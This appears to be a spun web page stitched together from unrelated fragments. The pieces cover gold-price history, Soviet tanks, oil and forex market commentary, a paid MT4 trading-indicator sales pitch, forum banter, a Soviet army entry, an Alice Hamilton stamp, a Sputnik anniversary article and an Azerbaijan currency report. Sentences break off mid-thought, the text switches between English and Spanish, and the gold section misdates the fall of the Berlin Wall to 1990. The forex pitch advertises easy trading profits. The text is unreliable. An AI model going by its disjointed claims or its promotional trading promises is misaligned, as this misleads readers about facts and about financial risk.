The GDP fell sharply for the first 10 years of its independence from the Soviet Union, then experienced rapid growth from 2000 to 2008. Try to describe 'libertarian' to non-English people. When you take a look at forex through a russian banknotes 1917 planet from a great distance it becomes clear that the biggest problem a problem that dwarfs the many other big ones is human overpopulation. The conquered border territories were colonized by Russian settlers and defended by the Cossacks. And then there is India and China. Wheat, sugar beets, tobacco, rice, and sunflower seeds are grown, and cattle are raised. Unable to pay its foreign debts, Russia struggled to restructure loans and keep its new financial services sector from collapsing. The country has nonetheless continued to maintain warmer ties with the West than the old Soviet Union did.


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Welcome to our gold prices page. Take a look at the graph below to see the 24/7 live gold prices in the Pound Sterling (£).


30 Day Gold Spot Prices:


The History of Gold Prices


Throughout time, gold has been used for a variety purposes but predominantly as a decorative metal, currency, or an investment asset. It is as the latter two that we usually understand gold to have a monetary value, but perhaps we should consider further ways of establishing the price of gold through history.


The oldest examples of gold use are not currency or coins, but rather as items of decorative importance. Even as far back as the Mesopotamians (modern day Iraq and Iran) and ancient Egyptians, the metal was revered for its rarity and beauty, and used in the manufacture of personal jewellery, bracelets, and headwear, that set a[part the haves from the have-nots. Indeed, its perception as something magical, perhaps even spiritual, is evidenced by its use in the pyramids and as an item that would aid the passage to the afterlife.


The Egyptians did produce some gold coins – particularly in the period of 2700 BC to 2300 BC – but it wasn’t until around 550 BC that King Croesus of Lydia (now Turkey) minted the first known gold coins in numbers. These coins became the first global standard currency, being accepted in exchange for goods and services.


However, the use of gold in a monetary sense remained patchy until the early 19 th century. With Britain extending its Empire, it adopted a gold standard to make payment for goods from its dominions more easily calculated and conducted. The success of this led to other countries basing their currencies on gold, but the most important basis was set in 1900 when the United States legislated through Congress for the Dollar to be formally pegged to the value of gold. By the outbreak of World War I, most other leading industrial nations had followed suit.


What this meant was that paper money, from any participating country, could be exchanged for a set amount of gold at any time with the central bank that issued the money. This wasn’t just a convenience: it was predicated by economic theory. Currencies were effectively fixed against each other and pegged ultimately against the US Dollar. If trade balances became skewed between nations, the deficit nation was forced to sell enough of its gold to cover the deficit. This would take money out of its economy and force prices down, while the extra gold into the surplus country would expand money supply and push prices up. This would lead to a rebalancing of trade between the two countries.


Around 1900, the official gold price was $20.67 per ounce. With UK Sterling pegged against this value, the pound was valued at around $4.90. However, economic policy decisions began to involve interest rates more freely. Rather than buy and sell gold to rebalance supply and demand, interest rates would be adjusted accordingly. For example, the UK might raise interest rates, making Sterling more attractive and sucking in capital, whilst at the same time having a deflationary effect.


This situation remained in force for many years, but was largely suspended through the First World War, meaning that the US Dollar floated in value against other currencies whilst remaining pegged to gold. It was the post war period that really set the US Dollar as the strong currency it is seen as today. While other currencies moved sharply as economies recovered, many devaluing sharply against the Dollar, the United States stuck with its gold standard.


Graph Showing the 10 Year Gold Price


The UK signed up to the gold standard ion the mid 1920’s, and then abandoned it in 1931 as the world economy reversed into depression. In 1933, President Roosevelt banned US citizens buying, selling, or owning gold, as a precursor to devaluing the dollar on the gold standard in 1934. Gold moved from $20.67, where it had been priced for nearly 50 years, to $35 per ounce overnight.


In 1971, with America’s economic standing in the world weakening, President Nixon abandoned the gold standard completely. This allowed the dollar to float freely against other currencies, and meant that legislators in the United States could use policy more freely to more readily steer its economy. The dollar devalued, and the American economy grew rapidly again (a contributory factor in the oil price crisis of 1973/ 4).


With the peg against the dollar gone, gold rose rapidly against the dollar. In 1971, gold had been priced at $35 per ounce. By 1973, its value had risen to nearly $200 per ounce. Its peak, however, came in 1980 when it hit a record $850, buying encouraged by the Soviet invasion of Afghanistan, revolution in Iran, and a Cold War that was threatening to fall to freezing point.


However, the price of gold fell away from this time as the world became a more stable place and the Cold War ended with the bringing down of the Berlin Wall in 1990. By 2002, gold had fallen to below $300 per ounce.


Since this time, however, gold has been in almost constant demand with buying encouraged by one global financial crisis after another. While major equity markets have virtually remained unchanged through this time gold has risen six-fold, hitting a new all-time nominal peak of $1920 in September 2011.


Throughout history, gold has had value. It was valued so highly in ancient times that it was used to help transport the spirits of dead Pharaohs into the afterlife. The Mesopotamians first realised its value as a method of exchange for goods and services on a large and standard basis. Britain used gold to ease its international trade and help the growth of its Empire. The United States stayed true to the gold standard and manipulated it to become the economic powerhouse of the world. ¿Y ahora? China is now the world’s largest buyer of gold, and is rapidly increasing in economic importance; some would say it is already the world’s most important economy.


History shows us that there is real value in gold, and economies benefit from using gold, and the gold price, to their advantage.


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tank development


Similar increases took place in the calibre of Soviet tank guns. After World War II the basic T-34/85 tanks armed with 85-mm guns were replaced by T-54 and T-55 tanks armed with 100-mm guns. They were followed in the 1960s by the T-62, with a 115-mm gun, and in the 1970s and ’80s by the T-64, T-72, and T-80, all with 125-mm smoothbore guns. The JS-3 and T-10 heavy tanks with their less powerful.


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Oil Market: Little room for comfort “ HSBC


FXStreet (Delhi) “ Research Team at HSBC, suggests that following the 60% drop in crude prices since mid-2014, the market seems to be fixated on the risk of further falls.


œThis is understandable given a backdrop of firm supply pressure from OPEC, large inventory overhangs and the potential for increased Iranian exports next year. However, we believe investors should be increasingly concerned about the risks of a sharp move higher in crude prices. Not only should the extent of oversupply fall dramatically in 2016, but low spare capacity within OPEC means that buffers against unexpected supply disruptions are very limited. Moreover, if OPEC abandons its policy and reduces output, prices could well rally considerably. As far as tail risks go, they seem skewed firmly to the upside, in our view.


œProducers outside OPEC have responded much more quickly to lower oil prices than the market was expecting. The most striking evidence of this is the relentless series of downgrades to non-OPEC supply growth estimates. Looking at the monthly evolution of the US Energy Information Administration™s (EIA) forecasts, 2016 non-OPEC supply growth was seen at 0.8mbd in February. Just nine months later, the forecast points to a y-o-y decline of 0.3mbd. The International Energy Agency (IEA) sees an even larger fall of 0.6mbd, which would be the largest annual decline in non-OPEC output since 1992 (when the collapse of the Soviet Union resulted in a 1mbd contraction). According to the IEA, non-OPEC volumes grew 2.5mbd as recently as 2014.


œThe biggest supply response thus far has come from US tight oil production, which has a much shorter production cycle than conventional oil extraction. The US onshore rig count has fallen sharply by 66% since the peak in Q4 2014, and the full effects of this have only recently started to translate into falling production. On our estimates, liquids output from the main US onshore plays should fall around 650kbd y/y in 2016. However, it™s important to remember that US tight oil only accounts for around 5mbd out of total non-OPEC supply of nearly 60mbd. Large project deferrals and cancellations will only impact supply some years down the line, but decline rates from existing production are likely to rise in the near term as the industry cuts back on maintenance capex such as infill drilling.


to other news


Major stock indexes in the US notched their fifth straight week of gains.


The S&P was up by 0.43% at 2049.31 and is now up on the year as well as for the week by 1.34%. The Nasda


Analysts at TD Securities explained that the strength of the short-covering in WTI crude oil, particularly with another 10% of short interest over the last week, has been similar in magnitude to the early-20


James Bullard, president of the Federal Reserve Bank of St. Louis and a voting member of the FOMC said that it would be prudent to edge interest rate higher.


Speaking in Germany, he affirm


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The Display on the Chart gives you Trend Analysis ofM1 to H4 Time Frames and the Entry Signals for profitable TradingAnd also the BUY/SELL Indicators as shown in the picture below The Information board gives you the Trend Analysis of M1 to H4 Time Frames :Trend is UP or DOWN, WEAK or STRONG, BULLISH or BEARISH usingMACD, RSI, Bollinger Bands andMoving Average StrategiesAnd the BUY/SELL indicators shows you when to buy and when to sell usingNon-Repaint Buy/Sell Arrow Indicator systemwith Message/Sound, Email Alerts and Send Notifications to your iPhone or Android device This Buy/Sell Arrow (spots) indicator is a Cyclic indicator which watch this youtube video about this of the Unwanted Signals can be eliminated by usingthe Filter Techniquesof this Buy/Sell Arrow IndicatorSome charts, showing the performance of this indicator shown below The picture below describes you the functions of the Information Indicator specifically developed to identify and trade turning-points, swings, and retracements. Very simple to use: drop it onto a chart and receive signals, then go for profitable is a short term trading strategy that allows traders to makegood use of the leverage that is available in the FX market. Scalpers look to make very quicksmall profits while exposing their accounts to the possibility of small losses. When they find a profitable trend, they go for more than one trade in a short period of time and by increasingthe Volume Size they can get the most out of that trend. You know that, increasing the volume sizeis very risky. That is where this Indicator comes into action to identify strong trends. See below. some Examples (myleverage is 1:100) Here, I found a good bearish trend by using this Indicator. First I opened a Sell Trade (with - Volume 0.10)and then I observed the Trend is very strong and Bearish. Then I opened another trade at 1.36402 (with - Volume 0.50).The price bar dropped down up to 1.36298 and then moved upwards. Then I closed both trades. You can see the results in above picture. I have earned $36 in 5 minutes (Total profit = $49.6).If I have entered few more entries I would have gained more. Day Trading The picture above shows an example of Day Trading using Buy/Sell Indicator and the Trend Analysis indicator. At (3) found a strong Bearish Trend and opened a Sell Trade at 1.38325.At (5) observed the trend is reversed and then closed the trade at 1.37545.I have earned around 75 pips in this trade in about 11 hours. In these examples number of pips are calculated in 4-Digit won't say that this system is 90% profitable as most of others do, but it is well optimized to provide youaccurate Trend Signals + Buy/Sell Alerts forprofitable Forex Trading and tominimizeemotional human factors which leads to loosing trades. This set-up will suit for Scalpers and Day Traders. The most important I should mention that it will be suitable for beginners and for veterans too. This system is not an EA, it is for manual trading only. -------- Very Important! --------This indicatorwill be authenticated for Only One valid Forex Trading Account(Live or Demo)Just after the payment you must send me your MT4 account number, account name and your Broker name. You can supply this information in the notes during checkout or by messaging. After receiving the payment and this information, I will send you the Indicator files to your Paypal email within 24 hours. If you don't have a valid MT4 Forex trading account or if you are not able provide this information, please don't buy this is what you will get in this package:- Step by step User Guide (pdf)- The software Registered for your Account Number - The software in action screenshots - Sample tradesand Free Updates This software is designed for Microsoft Windows is Original SoftwareNot a RedistributionYou can buy from me is not allowed!---- All Rights Reserved ----If someone else is selling this please have found that few sellers are selling my old productsdespite my notice for "reselling is not allowed".They have copied my pictures for their listings. Those products are out of date and cannot be updated. Arrow indicators do not have FILTERINGtechniques. Be aware of these sellers, sellingunauthorized products andI advise you not to buy those useless Download links will be sent to buyers through messaging as well as email, within 3 working days afterreceivingthe payment and the required information. Since selling software, which is not a tangible good or service and alsocan be replicated immediately after sell, we can not accept returns. This package can be downloaded easily into your computer. Thanks for watching!


Enjoy Trading style="color: rgb(230, 230, 230); font-family: Arial, Helvetica, sans-serif; font-size: x-small;">


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Re: Something interesting please post here


Dear Honey and sweet (seems to be mandatory nowadays) Poster and Tampa You have a library of Congress worth of forex indis. Not all good but definitely "interesting" to experiment on. I think that's the true spirit of this thread. You and M&M's (Mladen & Mr Tools) rock. When I financially and mentally grow up I wanna be like you


Your brother Ricardo (all the way from Portugal, where Internet is still not censored)


Comentario


Re: Something interesting please post here


so you are youngest in the family. and well trained to be subservient to your superiors. What a guy!


Dear Honey and sweet Pava


You owe me a new mouse and keyboard Your caustic humour just corroded both of them


Dear Honey and sweet Pava


You owe me a new mouse and keyboard Your caustic humour just corroded both of them


Dear sweet brother with dew respect. you live a lot, you learn a lot. to this day I had no idea my parents traveled so much. (I also remember that former USSR did not let their citizens to venture a_broad. ). anyways. Imagínate. Now I have more brothers and sisters I can handle. God forbid I slept with some of the sisters I didn't know I had. y. most of my siblings are. kind of o'k. except one in particular. that sweet, lower than anyone you meet, subservient honey of a guy trying to get into my psyche by insinuating me having a relationships. (not with one (1), but with two(2) people at once). as if he can read Private Messages. which with dew respect and all the apologies in the world he can't.


Comentario


Dear sweet brother with dew respect. you live a lot, you learn a lot. to this day I had no idea my parents traveled so much. (I also remember that former USSR did not let their citizens to venture a_broad. ). anyways. Imagínate. Now I have more brothers and sisters I can handle. God forbid I slept with some of the sisters I didn't know I had. y. most of my siblings are. kind of o'k. except one in particular. that sweet, lower than anyone you meet, subservient honey of a guy trying to get into my psyche by insinuating me having a relationships. (not with one (1), but with two(2) people at once). as if he can read Private Messages. which with dew respect and all the apologies in the world he can't.


Dear sweet sugar honey brother (forgot the dew)


I think of you more like a Brother in Arms (or legs. or any other body part of your preference. well. not all. it's just a figure of speech you see) Due to your origins do you prefer Comrade? As to having slept with sisters. you gave me a chill. Jesus Murphy. Even at 88 I think my dad owes me some explanations.


Yours truly (well. truly something!)


No Changes Expected at OPEC + 8’s Secret Meeting


Oil prices headed south Wednesday on reports of continued buildup of U. S. crude inventories impacting further on global oversupply.


Brent crude for December delivery had fallen 14 cents to $48.57 a barrel while U. S. crude for December delivery dropped 27 cents at $46.02 a barrel. The November contract, which expired on Tuesday, finished down 34 cents at $45.55 per barrel. A slightly weaker dollar provided some support but not enough to make a significant difference in the price.


Analysts say that the biggest challenge at the (OPEC) meeting will be getting Saudi Arabia on board….


Special OPEC Meeting


A special meeting of OPEC members plus eight additional countries--Azerbaijan, Brazil, Colombia, Kazakhstan, Norway, Mexico, Oman, and Russia—is scheduled for Wednesday, October 21 st. in Vienna but analysts are not expecting to hear any good news. Some are saying, however, that the meeting offers a sign that major oil producers are willing to collectively discuss the plunge in oil prices and even a minimal consensus on production reduction could at least discourage market participants from betting on further falling prices. Analysts say that the biggest challenge at the meeting will be getting Saudi Arabia on board, but they do see some semblance of the country’s hard line stance weakening somewhat.


At the same time, industry experts believe that ex-Soviet oil producers, including Russia and Azerbaijan, are unlikely to bow to pressure to reduce output in an effort to lift prices leaving little chance of a deal.


Major oil producers continue to urge OPEC to cut production but OPEC leaders have refused to lower the production ceiling, leaving producers struggling under some of the lowest prices in years. Industry experts say they do not expect to see much recovery in 2016 if current production levels continue.


At the same time, oil nations are feeling the strain of OPEC’s continuing price war. An interesting news piece that appeared in a major newspaper recently highlighted how OPEC’s battle for market share of the Asia-Pacific region (which accounts for over a third of global demand) is pitting one cartel member against another. Kuwait is undercutting its crude vis-à-vis Saudi Arabia while Iraq and Qatar are using similar tactics. Qatar’s oil prices are selling at its biggest discount in twenty-seven months.


At the OPEC meeting, Venezuelan President Nicolás Maduro will introduce a proposal to coordinate energy policy over the next decade with the aim of balancing supply and demand. Maduro will propose progressive production cuts to control prices with a “first floor” of $70 a barrel and later a target of $100 a barrel. Venezuela is a founding member of the OPEC and is the world’s fifth largest oil exporting country.


U. S. Over Production


Meanwhile, the American Petroleum Institute released data that showed U. S. commercial crude stocks were up by a larger-than-expected 7.1 million barrels to 473 million barrels in the week to Oct. 16. Analysts had expected a 3.9 million barrels increase.


At the same time, the U. S. Energy Information Administration is scheduled to release an official inventory report later on Wednesday which is expected to show a buildup in crude stocks for a fourth straight week as a result of low refinery utilization caused by continuing refinery maintenance.


Asian oil production is also adding to the continued global surplus with China's crude imports continuing to grow over the next five years at an average annual rate of 3.2 percent according to a BMI research report.


Riesgo: DailyForex no se hace responsable de ninguna pérdida o daño resultante de la confianza en la información contenida en este sitio web, incluyendo noticias de mercado, análisis, señales comerciales y revisiones de corredores de Forex. Los datos contenidos en este sitio web no son necesariamente en tiempo real ni precisos, y los análisis son opiniones del autor y no representan las recomendaciones de DailyForex ni de sus empleados. El comercio de divisas en margen conlleva un alto riesgo y no es adecuado para todos los inversores. Como producto apalancado, las pérdidas pueden exceder los depósitos iniciales y el capital está en riesgo. Antes de decidir negociar Forex o cualquier otro instrumento financiero, debe considerar cuidadosamente sus objetivos de inversión, nivel de experiencia y apetito por el riesgo.


Riesgo: DailyForex no se hace responsable de ninguna pérdida o daño resultante de la confianza en la información contenida en este sitio web, incluyendo noticias de mercado, análisis, señales comerciales y revisiones de corredores de Forex. Los datos contenidos en este sitio web no son necesariamente en tiempo real ni precisos, y los análisis son opiniones del autor y no representan las recomendaciones de DailyForex ni de sus empleados. El comercio de divisas en margen conlleva un alto riesgo y no es adecuado para todos los inversores. Como producto apalancado, las pérdidas pueden exceder los depósitos iniciales y el capital está en riesgo. Antes de decidir negociar Forex o cualquier otro instrumento financiero, debe considerar cuidadosamente sus objetivos de inversión, nivel de experiencia y apetito por el riesgo.


Editor’s note: When the Chinese e-commerce giant Alibaba goes public, as it will soon, Yahoo will earn many times its significant original stake in the company — a surprising ending to a tale of experimentation and discovery. Sue Decker, Yahoo’s former president, describes how the deal came about and what Yahoo learned from doing business in China.


In May of 2005, Yahoo CEO Terry Semel, cofounder Jerry Yang, corporate development executive Toby Coppel, and I — I was then chief financial officer of the Silicon Valley internet company — went on what would turn out to be a fateful trip to China. Less than a decade later, the ownership stake that resulted from that trip has been the saving grace for the company that had dominated the early internet. The value of the shares bought then, in fact, makes up a big chunk of Yahoo’s value today, and the windfall…


Now US equity market falls more than 1% on Tuesday before rebounding a bit with Dow ending negative for the year. The main trigger for sell-off appears to have been renewed fears that Russia will invade Ukraine, as Poland’s foreign affairs minister said such an offensive was imminent. Energy stocks got especially hammered they were down more than twice the rate of S&P 500 and NASDAQ were all down more than 1% before rebounding a bit.


Reminds me of a Joke during Cuban Missile Crisis, when USSR and Americans General met and meeting started with a Joke by each, The excited USSR General, perhaps with little more Vodka then he should have had, gets up and says you know whats difference between us and “US” there the people are exploited by the people they have elected, In our Society we exploit people who have chosen us, to represent them.


When do People Understand that War is bad for Business. Apart from this small matter of innocent people being caught as collateral.


Hong Kong stocks closed up 0.28 per cent, with China bucking a regional trend as other Asian markets were unsettled by drops on Wall Street and debt concerns in Portugal. Hong Kong’s The benchmark Hang Seng Index rose 67.65 points to 24,600.08 on turnover of HK$67.4 billion ($A9.41 billion). Overall breath was positive during the day as most of the stock traded with positive biasness. Hang Seng Index closed with white candle on on today trading session.


Technically, Hang Seng index saw the year high, couple with MACDs bullish gap expanded, showing momentum strong. Hang Seng index first support would be 10DMA (23,789), while next support would be seen at 50DMA (23,272). For resistance, 24,500 become first resistance, while next resistance would be seen at 25,000


The 55th Army was a field army of the Red Army during World War II. It was part of the Leningrad Front and was formed on 1 September 1941. The army fought in the Sinyavino Offensive. Lyuban Offensive Operation and the Battle of Krasny Bor. On 25 December 1943, it was combined with the 67th Army. [ 1 ] [ 2 ]


History [ edit ]


The 55th Army was formed on 1 September 1941 as part of the Leningrad Front. It was formed from the Task Force of Major General I. G. Lazarev and the 19th Rifle Corps headquarters. The army fought in the Leningrad Strategic Defensive Operation. Using the defenses of the Slutsk-Kolpino Fortified Area, the army defended Leningrad's southern approaches in the area of Kolpino. Krasnogvardeysk. Zaborje. Vyritsa. the Izhora River and the Tosna River. Its units stopped the German advance at Putrolovo. Bolshoye Kuzmino, Novaya and Verkhneye Kuzmino. From October 1941 to December 1942, the army carried out local offensives to improve its positions. [ 2 ]


In February 1943, the army fought in the Battle of Krasny Bor. during which it inflicted heavy casualties on the Blue Division and captured Krasny Bor. During the offensive, it suffered more than 10,000 casualties. [ 3 ] On 25 December 1943, the army was combined with the 67th Army. [ 2 ]


Composition [ edit ]


On 1 September 1941, the army contained the following units. [ 1 ]


References [ edit ]


Petróleo. oil. oil. everywhere oil


Obtenga señales de compra / venta de Forex directamente a su correo electrónico y por SMS. To learn more click here


Petróleo. oil…oil everywhere oil, has been the title of several articles over the past months, but it seems that the world is still swimming in a glut of oil or traders believe so, pushing down prices again this morning. WTI crude tumbled $1.02 to trade at 51.67 and Brent oil fell 93 cents to 55.51. The question on speculators and economists minds is “How Low Can It Go”. As of November, global markets were fixed on the crude oil production limit to be set by the Organization of Petroleum Exporting Countries. Many oil exporting countries including Russia, which economically were damaged from the decreasing crude oil prices also suffered from the decision of OPEC to keep the crude oil production at the same level. OPEC’s decision to not decrease production despite the falling prices was deemed as a sign that OPEC’s power to determine oil sales prices was failing.


Oil dropped to the lowest in more than five and a half years amid growing supply from Russia and Iraq and signs of manufacturing weakness in Europe and China. Oil output in Russia and Iraq surged to the highest levels in decades in December, according to data from both countries’ governments. Russia’s 2014 oil output hit a post-Soviet record high average of 10.58 million barrels per day (bpd), rising by 0.7 percent helped by small non-state producers, Energy Ministry data showed on Friday. Oil and gas condensate production in December hit 10.67 million bpd, also a record high since the collapse of the Soviet Union. The data showed Russia’s so-called small producers, mostly privately held, increased their output by 11 percent to just over 1 million barrels per day.


CNN reported that the near $50 drop in oil prices since June has led to rampant speculation about Saudi Arabia’s master plan. As the world’s biggest producer of crude oil, Saudi Arabia has a lot of influence on prices. One theory is that the Saudis are intentionally crashing oil markets to undermine Iran. The implication is clear: Saudi Arabia is once again using oil as a weapon to weaken its political rivals.


Markets are experiencing basic economics: An increase in global supplies — largely due to increased shale production in the United States — has been combined with lower global demand as economies in Europe continue to sputter and Asian growth. This is the main driver of the oil price meltdown.


U. S. gasoline /">gasoline and distillate stocks rose a combined 4.83 million barrels the week ended December 26, data from the U. S. Energy Information Administration showed. Analysts surveyed by Platt’s had expected the refined product stocks to increase 2.25 million barrels. Gasoline inventory rose 2.95 million barrels to 229.05 million barrels, despite implied gasoline demand* reaching 9.61 million barrels per day, the highest since July 2010. Analysts forecast gasoline stocks would increase 1.17 million barrels the week ended December 26.


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The rate of return on a real estate investment property based on the income that the property is expected to generate.


A debt ratio and profitability ratio used to determine how easily a company can pay interest on outstanding debt.


An account that can be found in the assets portion of a company's balance sheet. Goodwill can often arise when one company.


An index fund is a type of mutual fund with a portfolio constructed to match or track the components of a market index, such.


A derivative contract through which two parties exchange financial instruments. Estos instrumentos pueden ser casi cualquier cosa.


Arago: 55-cent Hamilton


The Postal Service issued a 55-cent Alice Hamilton stamp in a pane of 100 on July 11, 1995, in Boston, Massachusetts. The stamp was designed by Chris Calle of Ridgefield, Connecticut. The stamp was engraved through the intaglio process by the Banknote Corporation of America, Inc.


The stamp features Alice Hamilton, who earned her medical degree from the University of Michigan in 1893. Following study in Germany, she spent 22 years in Chicago as a resident at Jane Addams' Hull House, where her eyes were opened to the problems of the working class in industrialized America. One of her many firsts include a study, published in 1911, conclusively demonstrating the prevalence of lead poisoning in industry, leading to measurable improvements in many factories. Her subsequent work included the dangers of poisons used or produced in the manufacturing of explosives, the effects of the air hammer on the hands of stonecutters, the occurrence of spastic anemia in workers who used jackhammers, and the perils of monoxide emissions in steel mills. Dr. Hamilton was also responsible for the discontinuation of the use of "dope poisoning" in the manufacturing of airplanes during WWI.


In 1919, Alice Hamilton became the first woman appointed to the Harvard faculty when she joined a new joint program in industrial hygiene between the Harvard Medical School and the Harvard School of Public Health. In 1915, she was a delegate to the International Congress of Women at The Hague, and in 1928, Dr. Hamilton was one of two physicians appointed in a US delegation to a League of Nations Health Commission. In 1924, at the invitation of the Soviet Union's Department of Health, she visited the USSR and, upon her return, her commentary concerning their dedication to economic equality led the House Committee on Un-American Activities in 1949 to label her a supporter of "Communist fronts." At age 93, in 1963, she signed an open letter protesting continuing US military involvement in Vietnam. Dr. Hamilton died in 1970 at the age of 101. Dr. Hamilton was a leading social reformer in the new century. Her scientific texts and papers, the individuals she mentored, and her spirit of inquiry have had a lasting impact on public health and social reforms of the 20th century.


Reference: Postal Bulletin (June 8, 1995)


Continuar


How Sputnik Changed the World 55 Years Ago Today


Sputnik was the world's first artificial satellite, launched Oct. 4, 1957.


Fifty-five years ago today, the Space Race was kicked into gear by a silver basketball flying through the sky.


Sputnik 1. the Soviet probe that became the first manmade object to reach space, launched Oct. 4, 1957. The feat proved the Soviet Union's technological bonafidesand spurred the United States into stepping up its game in space.


The anniversary is being marked by the 13th annual World Space Week. which includes hundreds of space-themed events in dozens of countries from Oct. 4 through Oct. 10.


Sputnik ("traveling companion" in Russian) was a small sphere about 22 inches (56 centimeters) in diameter, with four long antennas protruding from its head. The 183-pound (83 kilograms) probe used a radio beacon to send a beeping sound back to Earth as it orbited the planet every 98 minutes.


This beeping was played over the world's radio stations, and in combination with the sight of the probe orbiting Earth, sparked fear in Americans that our country was falling behind the Soviets in technological capability. [Graphic: How Sputnik Worked ]


At the time, Sputnik's significance lay in the prestige it gave the Soviet Union and the anxiety it provoked in that nation's Cold War enemies. Fifty-five years later, however, historians say this first artificial satellite's biggest impact was the incredible legacy of space exploration achievements it inspired.


"In the 55 years since Sputnik first beeped its way around the planet, the small silver sphere with its whip-like antennas has transcended the Soviet Union's success to become a symbol for a global Space Age," said space history and artifacts expert Robert Pearlman, editor of collectSPACE. com .


Sputnik has been credited for helping instigate President John F. Kennedy's 1961 declaration that America would put a man on the moon by the end of the 1960s — a move designed in part to reestablish U. S. technological superiority.


Without Sputnik, as well as the Soviet Union's ensuing achievement of putting the first man into space — Yuri Gagarin in April 1961 — experts have questioned whether American astronauts would have walked on the moon as soon as they did, or ever. In a sense, the victory of the Apollo 11 moon walk in July 1969 can be traced all the way back to Sputnik.


This heritage is seen not just in the fame the tiny satellite holds on to, but in the enduring popularity of Sputnik collectibles, Pearlman said.


"Gracing stamps, models, toys, medallions and jewelry, Sputnik's shape and sounds continue to embed themselves in our pop culture," Pearlman told SPACE. com."The real Sputnik may have fallen out of orbit in January 1958, but its impact and iconography continue to circle the world today."


At this point, more than half a century after the probe's launch, the United States is facing another key moment in space. The 30-year space shuttle program is finished, and NASA is regrouping for its next phase of space exploration.


President Barack Obama has challenged the space agency to send people to an asteroid by 2025, and to Mars by the mid 2030s. NASA is outsourcing transportation of its astronauts to the International Space Station to the private sector, and aiming to build a new heavy-lift rocket to travel beyond low-Earth orbit.


In economically troubled times, space advocates are having a hard time convincing lawmakers and taxpayers that space is worth the expense. Perhaps we need another Sputnik moment to fire up the nation about space the way that little satellite did 55 years ago.


To find World Space Week events near you, visit the official site here: http://www. worldspaceweek. org/wsw/ .


Editor's Recommendations


Clara has been SPACE. com's Assistant Managing Editor since 2011, and has been writing for SPACE. com and LiveScience since 2008. Clara has a bachelor's degree in astronomy and physics from Wesleyan University, and a graduate certificate in science writing from the University of California, Santa Cruz. To find out what her latest project is, you can follow Clara on Google+ .


Clara Moskowitz, SPACE. com Assistant Managing Editor on


«Top News


UPDATE 2-Azerbaijan suspends some forex sales in effort to head off currency crisis


Thu Jan 14, 2016 2:24pm GMT


* Azerbaijan's manat under pressure from plunge in oil price


* Currency was floated in December


* Move follows similar steps in Russia and Kazakhstan


* Risk of social unrest rising (Adds details, analyst comments, background)


By Nailia Bagirova and Karin Strohecker


BAKU/LONDON, Jan 14 (Reuters) - Azerbaijan's central bank said on Thursday it had banned the sale of foreign exchange in standalone bureaux de change run by commercial banks in a further move to support the oil exporter's faltering currency, the manat.


The initiative, outlined by a bank spokesman, was taken with the recent plunge in oil prices exerting huge pressure on the public finances and currencies of oil-dependent countries in the former Soviet Union, raising the risk of social unrest.


The interior ministry said on Wednesday police and soldiers had detained 55 people earlier this week for holding unsanctioned protests. It described those arrested as "radical" political activists and religious extremists.


"Azerbaijan's economy is not so much heading as hurtling towards a crisis," said Chris Weafer, a senior partner at Macro Advisory in Moscow.


Oil and gas account for 75 percent of the Azeri state's revenues. The central bank has been tightening restrictions on sales of foreign currency since cutting the manat loose last month after Russia and Kazakhstan took similar steps to try to preserve their reserves.


Exchange bureaux in Turkmenistan, a major ex-Soviet gas producer, also stopped selling foreign currency this week.


The price of benchmark crude oil has now fallen almost 75 percent since June 2014 to below $30 a barrel.


Such a steep fall inevitably raises pressure on Azerbaijan's political system.


President Ilham Aliyev's party swept the board in a parliamentary election in November, a vote the mainstream opposition and international monitors shunned.


Rights groups accuse the government of curbing freedoms and of silencing dissent, while the opposition complains of harassment, a lack of access to air time and draconian restrictions on campaigning. The government denies wrongdoing.


In Baku, the Azeri capital, many currency exchange booths had stopped operations before the central bank publicised its ban. One booth owner, who declined to be named, said he had closed three days ago. "The central bank sent a letter with an order to close all bureaux de change," he said.


The central bank had already said this month that anyone wanting to buy over $500 must present their identity card. A Reuters reporter on Thursday saw a queue of around 250 people at one bank trying to exchange currency.


On Wednesday, the bank set an exchange rate of 1.5706 manats per U. S. dollar, valid until Friday. Street dealers in Baku were, however, offering a rate of 1.8 on Thursday.


"It (Azerbaijan) is a small, narrow economy that is fully dependent on oil, and now, when oil is falling again, the devaluation they did in December is not big enough," said Per Hammarlund, chief emerging markets strategist at SEB.


"I suspect there is more to come."


GROWTH UNDER THREAT


Azerbaijan's 10-year dollar bond, which matures in 2024, lost more than 1.5 cents on Thursday to trade at a record low of just above 90 cents.


Meanwhile the yield premium over safe-haven U. S. Treasuries blew out past 540 bps, having risen 70 bps this year alone.


Dollar debt issued by the state energy company SOCAR traded lower across the curve, with the 2023 and 2030 bonds trading at record lows in the low 80s.


The cost of insuring the sovereign debt of oil-producing countries across emerging markets has soared in recent weeks.


Russian 5-year credit default swaps (CDS) have gained almost 30 basis points, or more than 18 percent, since the start of the year, while Kazakh CDS have ballooned by 10 percent over the same period, according to financial data provider Markit.


No prices were available for Azeri CDS.


The economy of Azerbaijan, whose 2016 budget is based on an oil price of $50 per barrel, grew only 1 percent last year. It plans to revise its budget and cut spending, something Russia, its neighbour and the world's top oil producer, is also contemplating.


Azeri authorities decided to withdraw support for the manat on Dec. 21 after burning through over half the country's foreign currency reserves in an effort to defend it against the impact of falling oil prices. That triggered a plunge of 32 percent against the dollar.


The central bank this month widened the exchange rate corridor within which banks can buy and sell the manat to 4 percent either side of its official rate from 2 percent.


"Only six months ago, we expected that the economy would grow by 2.5 percent in 2016," said Macro's Weafer. "But now, that forecast is cut to about 0.5 percent and even that number looks vulnerable." (Additional reporting by Alexander Winning in Moscow and Claire Milhench in London; Writing by Maria Kiselyova, Margarita Antidze and Katya Golubkova; Editing by Andrew Osborn and Kevin Liffey/Mark Heinrich)


Forex Capital takes 55 Water Street sublease


REW Staff


Forex Capital Markets, a currency brokerage, has signed a deal for the entire 50th floor of 55 Water Street.


The company will be subleasing the space from the commercial printing company RR Donnelley, which inherited the floor last year when it purchased Bowne & Company, a marketing and business communications firm, which it has relocated into its existing offices in the city. Donnelley has space both in midtown and Lower Manhattan, at 99 Park Avenue and 75 Park Place.


The 50th floor of 55 Water is a little over 60,000 s/f, and market experts familiar with the sublease offering estimate that rents in the deal with Forex were likely in the $30s per s/f.


At nearly 4 million s/f, 55 Water Street is one of the largest office towers in the city. Base floors in the property are bigger than 120,000 s/f and even spaces at the top of the 54-story tower are over 60,000 s/f, an unusually roomy floorplate so high in the sky.


Forex, a foreign exchange trading firm, had inked a short term, one and a half year renewal deal last year at 32 Old Slip, where it had been subleasing about 40,000 s/f of space from Daiwa Securities. At the time, proposed regulations in the foreign exchange trading business that would limit the amount of leverage these firms could take on had clouded the outlook for the industry and Forex was wary to commit to a long term lease.


